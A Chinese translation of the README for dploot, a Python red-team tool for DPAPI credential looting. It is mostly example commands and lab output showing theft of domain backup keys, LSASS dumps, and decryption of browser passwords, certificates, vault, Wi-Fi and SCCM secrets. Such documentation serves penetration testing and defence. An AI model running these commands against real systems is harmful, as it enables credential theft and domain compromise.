dploot 是 SharpDPAPI 的 Python 重写版，后者由 Harmj0y 用 C# 编写，而它本身又是 Mimikatz 中 DPAPI 的移植，由 gentilkiwi 开发。它实现了这些工具的所有 DPAPI 逻辑，但这次可以在 Python 解释器和 Linux 环境中使用。
如果你不了解什么是 DPAPI，看看这篇文章。
你可以使用 pipx 直接从 PyPI 安装 dploot：```text pipx install git+https://github.com/zblurx/dploot.git
或```text
pipx install dploot
在 Kali Linux 上，你可以从软件仓库安装 dploot：```text sudo apt install python3-dploot
## 用法```text
dploot (https://github.com/zblurx/dploot) v3.1.2 by @_zblurx
usage: dploot [-h]
{backupkey,blob,browser,certificates,credentials,machinecertificates,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi} ...
DPAPI looting locally remotely in Python
positional arguments:
{backupkey,blob,browser,certificates,credentials,machinecertificates,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi}
Action
backupkey Backup Keys from domain controller
blob Decrypt DPAPI blob. Can fetch masterkeys on target
browser Dump users credentials and cookies saved in browser from local or remote target
certificates Dump users certificates from local or remote target
credentials Dump users Credential Manager blob from local or remote target
machinecertificates
Dump system certificates from local or remote target
machinecredentials Dump system credentials from local or remote target
machinemasterkeys Dump system masterkey from local or remote target
machinetriage Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from local or remote target
machinevaults Dump system vaults from local or remote target
masterkeys Dump users masterkey from local or remote target
mobaxterm Dump Passwords and Credentials from MobaXterm
rdg Dump users saved password information for RDCMan.settings from local or remote target
sccm Dump SCCM secrets (NAA, Collection variables, tasks sequences credentials) from local or remote target
triage Loot Masterkeys (if not set), credentials, rdg, certificates, browser and vaults from local or remote target
vaults Dump users Vaults blob from local or remote target
wam Dump users cached azure tokens from local or remote target
wifi Dump wifi profiles from local or remote target
options:
-h, --help show this help message and exit
dploot 可以通过 Kerberos 进行认证。只需使用 -k 选项。如果你想使用缓存的票据，请使用 -use-kcache 选项。
dploot 的目标是简化从 Linux 主机上获取 DPAPI 相关战利品的过程。与 SharpDPAPI 一样，你如何使用这个工具取决于你是否已经攻陷了域。
当你是 Windows 计算机的本地管理员时，你可以获取机器机密，例如使用 machinecertificates（或任何其他 Machine Triage 命令，或 wifi 命令）：```text $ dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -quiet [-] Writting certificate to DESKTOP-OJ3N8TJ.waza.local_796449B12B788ABA.pfx
### 通过离线访问 Windows 文件系统
另一种获得系统本地管理员访问权限的方式，例如通过物理访问、取出硬盘并将其文件系统直接挂载到你的机器上。要使用此模式，请将目标指定为 `LOCAL`。默认情况下，目标文件系统预期为当前目录，你可以使用 `-root` 指定其他路径：```text
$ dploot sccm -root /media/C_drive/ -t LOCAL
[*] Connected to LOCAL as \ (admin)
仍然可以指定有效的用户名和密码作为参数，这些参数将用于解密主密钥 (参见下文 User Triage 中的说明):```text $ dploot masterkeys -root /mnt -u bob -p Password -t LOCAL [*] Connected to LOCAL as \bob (admin)
### 作为域管理员（或同等权限）
如果你拥有域管理员权限，可以使用 backupkey 命令获取域 DPAPI 备份密钥。该密钥可以解密域用户和计算机的任何 DPAPI 主密钥，并且永远不会更改。因此，该密钥允许攻击者窃取与域用户相关的任何受 DPAPI 保护的密码。
要获取域备份密钥，可以使用 [backupkey](#backupkey) 命令：```text
$ dploot backupkey -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.112 -quiet
[-] Exporting domain backupkey to file key.pvk
然后，您就可以窃取网络上任何已加入 Windows 域的计算机中存储的用户机密，例如使用 certificates 命令（或任何其他 User Triage 命令）：``` $ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -pvk key.pvk -quiet [-] Writting certificate to jsmith_waza.local_C0F800ECBA7BE997.pfx [-] Writting certificate to jsmith_waza.local_D0C73E2C04BEAAB0.pfx [-] Writting certificate to m.scott_waza.local_EB9C21A5642D4EBD.pfx
### 非域管理员身份
如果（尚未）获得域管理员权限，使用 Mimikatz 的 `sekurlsa::dpapi` 命令将检索给定系统上任何已加载主密钥（用户和 SYSTEM）的 DPAPI 主密钥 `{GUID}:SHA1` 映射（提示：提取密钥后运行 `dpapi::cache` 会给你一个漂亮的表格）。如果你将这些密钥更改为 `{GUID1}:SHA1 {GUID2}:SHA1...` 格式，则可以将它们提供给 dploot 以对该机器进行排查。你还可以使用 [lsassy](https://github.com/Hackndo/lsassy) 来获取解密的主密钥：```text
$ lsassy -u Administrator -p 'Password!123' -d waza.local -t 192.168.56.14 -m rdrleakdiag -M masterkeys
[+] 192.168.56.14 Authentication successful
[+] 192.168.56.14 Lsass dumped in C:\Windows\Temp\ff32F.fon (57121318 Bytes)
[+] 192.168.56.14 Lsass dump deleted
[+] 192.168.56.14 WAZA\DESKTOP-OJ3N8TJ$ [NT] 0e43c22a4b09520cf79ca19a9e1bbec7 | [SHA1] 2ce587ab64aa3488c5ed412ca1e554d0f8e5a411
(snip)
[+] 192.168.56.14 5 masterkeys saved to /data/masterkeys
然后，你可以使用这个 masterkey 文件来获取目标计算机中的数据，例如使用 browser 命令（或任何其他 User Triage 命令）：```text $ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -mkfile /data/masterkeys [*] Connected to 192.168.56.14 as waza.local\Administrator (admin)
[*] Triage Browser Credentials for ALL USERS
[MSEDGE LOGIN DATA] URL: Username: [email protected] Password: Waza1234
你还可以使用 [dploot masterkeys](#masterkeys) 的 `-hashes-outputfile` 选项转储主密钥哈希。
## 命令
### 用户分类
#### masterkeys
**masterkeys** 命令将获取任何用户的主密钥文件，并使用 `-passwords FILE` 的 user:password 组合、`-nthashes` 的 user:nthash 组合或 `-pvk PVKFILE` 域备份密钥来解密它们。它将返回一组 masterkey {GUID}:SHA1 映射。请注意，即使您未指定相应选项，它也会尝试使用您连接目标时所用的密码或 nthash。您最终可以使用 `-hashes-outputfile` 以 Hashcat/JtR 格式获取所有主密钥哈希，以便破解明文密码。
*使用域备份密钥时*:```text
$ dploot masterkeys -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage ALL USERS masterkeys
{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22
{d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba
{68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a
使用密码:```text $ cat passwords jsmith:Password#123 $ dploot masterkeys -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -passwords passwords [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
[*] Triage ALL USERS masterkeys
{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22 {d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba {68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a
***提示***: *使用 `outputfile` 标志时，dploot masterkeys 会将获取到的主密钥追加到指定文件中。将所有主密钥存储在同一个文件中并没有问题，因为 DPAPI BLOB 会存储解密所需的主密钥的 GUID。*
#### credentials
**credentials** 命令将搜索用户的凭据文件，并使用 `-mkfile FILE`（包含一个或多个 {GUID}:SHA1）、`-passwords FILE`（user:password 组合）、`-nthashes`（user:nthash 组合）或 `-pvk PVKFILE`（用于首先解密主密钥）来解密它们。
使用 `mkfile`：```text
$ dploot credentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage Credentials for ALL USERS
[CREDENTIAL]
LastWritten : 2022-04-12 16:55:44
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target : Domain:target=test
Description :
Unknown :
Username : test
Unknown : Password#{123}
[CREDENTIAL]
LastWritten : 2022-04-27 19:23:02
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000002 (CRED_PERSIST_LOCAL_MACHINE)
Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target : Domain:target=TERMSRV/srv01.waza.local
Description :
Unknown :
Username : DESKTOP-I60R2L6\Administrator
Unknown : Password!123
使用 pvk：```text
$ dploot credentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage ALL USERS masterkeys
{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22 {d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba {68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a
[*] Triage Credentials for ALL USERS
[CREDENTIAL] LastWritten : 2022-05-19 10:25:06 Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH) Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE) Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD) Target : Domain:target=myserver.com Description : Unknown : Username : Administrator Unknown : Naga2019*
#### vaults
**vaults** 命令将搜索用户的 Vaults 机密，并使用 `-mkfile FILE`（包含一个或多个 {GUID}:SHA1）、或 `-passwords FILE`（user:password 组合）、`-nthashes`（user:nthash 组合）或 `-pvk PVKFILE` 来首先解密主密钥，从而解密这些机密。
使用 `mkfile`：```text
$ dploot vaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -mkfile waza.local.mkf
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
[*] Triage Vaults for ALL USERS
[VAULT_VPOL_KEYS]
Key1: 0x552f5d5b454d3a53aec4ff458539de02
Key2: 0x5565757b5acd988e1a7377030fbe7098bff3e98050ae9bca458fe554b9e2586b
[Internet Explorer]
Username : test
Resource : http://testphp.vulnweb.com/
Password : b'74006500730074000000'
Decoded Password: test
使用 pvk:```text
$ dploot vaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
[*] Triage ALL USERS masterkeys
{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22
[*] Triage Vaults for ALL USERS
[VAULT_VPOL_KEYS] Key1: 0x552f5d5b454d3a53aec4ff458539de02 Key2: 0x5565757b5acd988e1a7377030fbe7098bff3e98050ae9bca458fe554b9e2586b
[Internet Explorer] Username : test Resource : http://testphp.vulnweb.com/ Password : b'74006500730074000000'
Decoded Password: test
#### rdg
**rdg** 命令将搜索用户的 RDCMan.settings 文件中的机密，并使用一个或多个 {GUID}:SHA1 的 `-mkfile FILE`，或使用 `-passwords FILE`（user:password 组合）、`-nthashes`（user:nthash 组合），或使用 `-pvk PVKFILE` 先解密主密钥，来解密它们。
使用 `mkfile`：```text
$ dploot rdg -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -mkfile waza.local.mkf
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
[*] Triage RDCMAN Settings and RDG files for ALL USERS
[CREDENTIAL PROFILES]
Profile Name: WAZA\Administrator
Username: WAZA\Administrator
Password: Placeholder1234567890
[LOGON PROFILES]
Profile Name: Custom
Username: WAZA\Administrator
Password: Password!123
[SERVER PROFILES]
Name: DC01.waza.local
Profile Name: Custom
Username: WAZA\jdoe
Password: Password#123
[SERVER PROFILES]
Name: SRV01.waza.local
Profile Name: Custom
Username: WAZA\jfile
Password: Password#123
使用 pvk：```text
dploot rdg -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
[*] Triage ALL USERS masterkeys
{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22 {d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba {68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a
[*] Triage RDCMAN Settings and RDG files for ALL USERS
[CREDENTIAL PROFILES] Profile Name: WAZA\Administrator Username: WAZA\Administrator Password: Placeholder1234567890
[LOGON PROFILES] Profile Name: Custom Username: WAZA\Administrator Password: Password!123
[SERVER PROFILES] Name: DC01.waza.local Profile Name: Custom Username: WAZA\jdoe Password: Password#123
[SERVER PROFILES] Name: SRV01.waza.local Profile Name: Custom Username: WAZA\jfile Password: Password#123
#### certificates
**certificates** 命令会从 *MY* 中搜索用户证书，并使用 `-mkfile FILE`（包含一个或多个 {GUID}:SHA1）、或 `-passwords FILE`（user:password 组合）、`-nthashes`（user:nthash 组合）或 `-pvk PVKFILE` 来首先解密主密钥，从而解密这些证书。
使用 `mkfile` 时：```text
$ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage Certificates for ALL USERS
Issuer: CN=waza-ADCS1-CA,DC=waza,DC=local
Subject: CN=John Smith,CN=Users,DC=waza,DC=local
Valid Date: 2022-05-24 09:51:33
Expiry Date: 2023-05-24 09:51:33
Extended Key Usage:
Unknown OID (1.3.6.1.4.1.311.10.3.4)
emailProtection (1.3.6.1.5.5.7.3.4)
clientAuth (1.3.6.1.5.5.7.3.2)
[!] Certificate is used for client auth!
-----BEGIN CERTIFICATE-----
MIIGDTCCBPWgAwIBAgITewAAAAJ+dBN7rSmWMAAAAAAAAjANBgkqhkiG9w0BAQ0F
ADBFMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFDASBgoJkiaJk/IsZAEZFgR3YXph
MRYwFAYDVQQDEw13YXphLUFEQ1MxLUNBMB4XDTIyMDUyNDA5NTEzM1oXDTIzMDUy
(snip)
c/8HYJOcP6FjLmevTLLESCRCg9LG4I6NzjoRGU968HWZ5U7DGUYsCVUbzcIyJL3H
DfaOwrwiSOoINEPSRHXEn2L7gjX111h1SqKCdLQ8s9mhR1F063lZzbEfGBNG7di0
/j2bsWqbT/fCx+AgCT65VRk=
-----END CERTIFICATE-----
[-] Writting certificate to jsmith_waza.local_C0F800ECBA7BE997.pfx
使用 pvk：```text
$ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage ALL USERS masterkeys
{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22 {d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba {68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a
[*] Triage Certificates for ALL USERS
Issuer: CN=waza-ADCS1-CA,DC=waza,DC=local Subject: CN=John Smith,CN=Users,DC=waza,DC=local Valid Date: 2022-05-24 09:51:33 Expiry Date: 2023-05-24 09:51:33 Extended Key Usage: Unknown OID (1.3.6.1.4.1.311.10.3.4) emailProtection (1.3.6.1.5.5.7.3.4) clientAuth (1.3.6.1.5.5.7.3.2) [!] Certificate is used for client auth!
-----BEGIN CERTIFICATE----- MIIGDTCCBPWgAwIBAgITewAAAAJ+dBN7rSmWMAAAAAAAAjANBgkqhkiG9w0BAQ0F ADBFMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFDASBgoJkiaJk/IsZAEZFgR3YXph MRYwFAYDVQQDEw13YXphLUFEQ1MxLUNBMB4XDTIyMDUyNDA5NTEzM1oXDTIzMDUy (snip) c/8HYJOcP6FjLmevTLLESCRCg9LG4I6NzjoRGU968HWZ5U7DGUYsCVUbzcIyJL3H DfaOwrwiSOoINEPSRHXEn2L7gjX111h1SqKCdLQ8s9mhR1F063lZzbEfGBNG7di0 /j2bsWqbT/fCx+AgCT65VRk= -----END CERTIFICATE-----
[-] Writting certificate to jsmith_waza.local_C0F800ECBA7BE997.pfx
默认情况下，该工具只会收集用于客户端身份验证的证书，但使用 `-dump-all` 可以获取所有证书。
***提示***：*如果你获得了带有客户端身份验证 EKU 的证书，你可以通过 [certipy](https://github.com/ly4k/Certipy) 接管该账户。*
#### browser
**browser** 命令将搜索基于 Chrome 的浏览器中的用户密码和 Cookie，并使用 `-mkfile FILE`（包含一个或多个 {GUID}:SHA1）解密，或使用 `-passwords FILE` 组合 user:password，`-nthashes` 组合 user:nthash，或使用 `-pvk PVKFILE` 先解密主密钥。
使用 `mkfile` 时：```text
$ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage Browser Credentials for ALL USERS
[MSEDGE LOGIN DATA]
URL:
Username: admin
Password: Password!123
使用 pvk:```text
$ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage ALL USERS masterkeys
{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22 {d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba {68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a
[*] Triage Browser Credentials for ALL USERS
[MSEDGE LOGIN DATA] URL: Username: admin Password: Password!123
要显示存储的 cookie，请使用 `-show-cookies` 选项。
自 2024 年 7 月起，[基于 Chromium 的浏览器支持应用绑定密钥加密](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html)。TLDR：要导出 Chromium 的 cookie（以及即将支持的密码），你需要解密用户和 SYSTEM 的主密钥。该选项通过 `-v20-support` 标志提供支持。
#### triage
**triage** 命令会运行用户 [credentials](#credentials)、[vaults](#vaults)、[rdg](#rdg) 和 [certificates](#certificates) 命令。
### 机器 Triage
#### machinemasterkeys
**machinemasterkeys** 命令将使用 RemoteRegistry 转储 LSA 机密，以检索 DPAPI_SYSTEM 密钥，该密钥将用于解密任何找到的计算机主密钥。它将返回一组 masterkey {GUID}:SHA1 映射。```text
$ dploot machinemasterkeys -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage SYSTEM masterkeys
{b5ebf413-65bd-4ee7-aa49-2a3110f678d2}:ad7475c1efdf3e834037bead151e30beaefeb349
{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46
{e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba
{6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89
{750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049
{9a4057a3-06f2-4e4f-9a88-79ea3c3cadfa}:5b966689d74393684a221752950b46fb5236b3db
machinecredentials 命令将获取找到的任何机器凭据文件，并使用 -mkfile FILE（一个或多个 {GUID}:SHA1）对它们进行解密；否则，dploot 将转储 DPAPI_SYSTEM LSA 机密密钥，以解密任何机器主密钥，然后解密找到的任何已加密 DPAPI XXX blob。```text
$ dploot machinecredentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage SYSTEM masterkeys
{07e6e8d6-7eae-4780-9aac-641818ddd9bb}:ddb9fa17d4e9ab12[...] {a87bcad8-5ed9-4f09-a9f7-34d77e20d0d4}:e4661cd36f07bb1f[...] {d03a0e3b-b616-4a29-8795-9ca09960de35}:a45fdd01699bfbc5[...] {69b3f620-eca1-45c1-a003-f1d0a8598c57}:2862216b21e96fa6[...] {9a270191-3f43-46d1-9935-5892dca2a9a2}:d3cb43dd6645d26d[...] {e85c4ab7-65d3-45df-9abe-829c2ead1c5f}:c2a118094fb7cf85[...]
[*] Triage SYSTEM Credentials
[CREDENTIAL] LastWritten : 2022-05-06 15:51:53 Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH) Persist : 0x00000002 (CRED_PERSIST_LOCAL_MACHINE) Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD) Target : Domain:batch=TaskScheduler:Task:{31424469-6CCD-4137-8DFF-541872FD3CBB} Description : Unknown : Username : WAZA\Administrator Unknown : Password!123
#### machinevaults
**machinevaults** 命令将获取找到的任何机器 Vaults 文件，并使用包含一个或多个 {GUID}:SHA1 的 `-mkfile FILE` 对其进行解密；否则 dploot 将转储 DPAPI_SYSTEM LSA 密钥，以解密任何机器主密钥，然后解密任何找到的加密 DPAPI Vaults blob。```text
$ dploot machinevaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
[*] Triage SYSTEM masterkeys
{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46
{e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba
{6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89
{750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049
[*] Triage SYSTEM Vaults
[VAULT_VPOL_KEYS]
Key1: 0x8a3dad10ce6ae44ba1700d1060cc28c4
Key2: 0x1514dd2c8f278ac517cf1ae09255aeaff62219a019bc21ac35321c040064b0b5
machinecertificates 命令会查找所有机器私钥文件，并使用 -mkfile FILE（一个或多个 {GUID}:SHA1）对其进行解密，否则 dploot 将转储 DPAPI_SYSTEM LSA 密钥，以解密任何机器主密钥，然后解密任何找到的加密 DPAPI 私钥 blob。
它还将通过 RemoteRegistry 转储机器 CAPI 证书 blob。```text $ dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 [*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage SYSTEM masterkeys
{b5ebf413-65bd-4ee7-aa49-2a3110f678d2}:ad7475c1efdf3e834037bead151e30beaefeb349 {c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46 {e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba {6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89 {750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049 {9a4057a3-06f2-4e4f-9a88-79ea3c3cadfa}:5b966689d74393684a221752950b46fb5236b3db
[*] Triage SYSTEM Certificates
Issuer: CN=waza-ADCS1-CA,DC=waza,DC=local Subject: CN=DESKTOP-OJ3N8TJ.waza.local Valid Date: 2022-06-11 10:31:16 Expiry Date: 2023-06-11 10:31:16 Extended Key Usage: clientAuth (1.3.6.1.5.5.7.3.2) serverAuth (1.3.6.1.5.5.7.3.1) [!] Certificate is used for client auth!
-----BEGIN CERTIFICATE----- MIIFjTCCBHWgAwIBAgITewAAAAXrqLLiBZJG3AAAAAAABTANBgkqhkiG9w0BAQ0F ADBFMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFDASBgoJkiaJk/IsZAEZFgR3YXph (snip) nXZ6/pA+XGqQwHG/hWG2TR5Ivjzoy+OjAgu44LqucC8Pw3wWToVWCKxdGgZcXqHE TXrQnLFK+nWqjrvJsM/O6HgNJbG/lqF/sogux3FLmW7a -----END CERTIFICATE-----
[-] Writting certificate to DESKTOP-OJ3N8TJ.waza.local_796449B12B788ABA.pfx
***提示***: *如果你获得带有客户端身份验证 EKU 的证书，你可以使用 [certipy](https://github.com/ly4k/Certipy) 接管该账户。*
#### machinetriage
machinetriage 命令运行 [machinecredentials](#machinecredentials)、[machinevaults](#machinevaults) 和 [machinecertificates](#machinecertificates)。
### 杂项
#### wifi
**wifi** 命令将获取任何 wifi xml 配置文件 并使用包含一个或多个 {GUID}:SHA1 的 `-mkfile FILE` 解密它们，否则 dploot 将转储 DPAPI_SYSTEM LSA 密钥，以解密任何机器主密钥，然后解密任何找到的加密 DPAPI 私钥 blob。```text
$ dploot wifi -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage SYSTEM masterkeys
{b5ebf413-65bd-4ee7-aa49-2a3110f678d2}:ad7475c1efdf3e834037bead151e30beaefeb349
{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46
{e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba
{6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89
{750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049
{9a4057a3-06f2-4e4f-9a88-79ea3c3cadfa}:5b966689d74393684a221752950b46fb5236b3db
[*] Triage ALL WIFI profiles
[WIFI]
SSID: Wifi_G
AuthType: WPA2PSK
Encryption: AES
Preshared key: AzErTy1234567890QwSxDcFvG
[WIFI]
SSID: EAP_TLS
AuthType: WPA2 EAP
Encryption: AES
EAP Type: EAP TLS
EapHostConfig:
EapMethod:
Type: 13
VendorId: 0
VendorType: 0
AuthorId: 0
Config:
Eap:
Type: 13
EapType:
CredentialsSource:
CertificateStore:
SimpleCertSelection: true
ServerValidation:
DisableUserPromptForServerValidation: false
ServerNames: None
DifferentUsername: false
PerformServerValidation: true
AcceptServerName: false
[snip]
sccm 命令将从远程目标检索 NAA 凭据、集合变量和任务序列凭据，并使用 -mkfile FILE（一个或多个 {GUID}:SHA1）解密它们，否则 dploot 将转储 DPAPI_SYSTEM LSA 密钥，以便解密任何计算机主密钥，然后解密任何发现的加密 DPAPI 私钥 blob。使用 -wmi 将从 WMI 请求结果中转储 SCCM 机密。```text
$ dploot sccm -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
[*] Triage SYSTEM masterkeys
{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46 {e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba {6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89 {750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049
[*] Triage SCCM Secrets
[NAA Account] Username: NAAAccount Password: Password!123
[snip]
#### backupkey
**backupkey** 命令将使用 [MS-LDAD](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-lsad/1b5471ef-4c33-4a91-b079-dfcbb82f05cc) 从域控制器检索域 DPAPI 备份密钥。此密钥永远不会改变，并且可以解密任何域用户的 DPAPI 保护的机密。需要域管理员权限。
默认情况下，此命令会将域备份密钥写入名为 key.pvk 的文件中，但您可以使用 `outputfile` 标志更改此设置。也可以使用 `legacy` 标志转储旧的备份密钥。```text
$ dploot backupkey -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.20
[*] Connected to dc01.waza.local as waza.local\e.cartman (admin)
[DOMAIN BACKUPKEY V2]
PVK_FILE_HDR
dwMagic: {2964713758}
dwVersion: {0}
dwKeySpec: {1}
dwEncryptType: {0}
cbEncryptData: {0}
cbPvk: {1172}
PRIVATEKEYBLOB:{1ef1b5b000000000010000000000000000000000940400000702000000a4000052534132000800000100010081a511b5e41ad9563aff9f591ba61bec76ba09859750b0bcbeff2ef26f06b1a85b6b763623249890587cee80495ad02c3c1554abf9eb472da753531186d1a58dc853ac85a31dc14348a477b1555e8f882a3c4543098896fe7523dabbfed2bda09a9cf86fdc017bb86375eec8058953193a58f8896c0c6f622da40cfee5f4734b07458176c3aa8ff1cbe3eaf6faa97d774c68f82b59a635d2e671d5e658bab75f7e6ca2d9c04bb5bf2aa18b13cb4b18951be73f0ec16e3e5d8e8caee9ab26d44e365b3669ccb03c1f2d25f24f6a7f2ac116975a9b58662c1aed40af1d0277b78dab978de25f7aaf09596b869fa5b7762c7f63b5ad0b8611826f79e37a252123f06f4cd136b5919607c768ebe59e1001952ae9bb74bb4462ffb5059473b836d8ca287bc0c01653d28da74798be1c867d364158d8fc3acbe287efe88ea24359b7cffa5b02fd61840a6b786ba33cf842e80231ded169eeb6bc582cb174a17f4dfdf25e7fdcd399f6dab6b62e91cdebaa882797b449bd591a5e189bc86ffc535771f60f05b0e4136d6e64c33adbd572e0c83b7762b0b5e81f36a9bc41c0445c652ddd4012d92839806a594af1b2abf392cbe052f585a69565d8ef23df0df41fdafbaa587cdda27c7a818590d48b75672c6459dc7a865fb69eaa0243c988d6a512bf2c6e24ddfdd1025a588a128cf981f2ed9370781b0f1a0c6ff1f4cccf22163073f9457f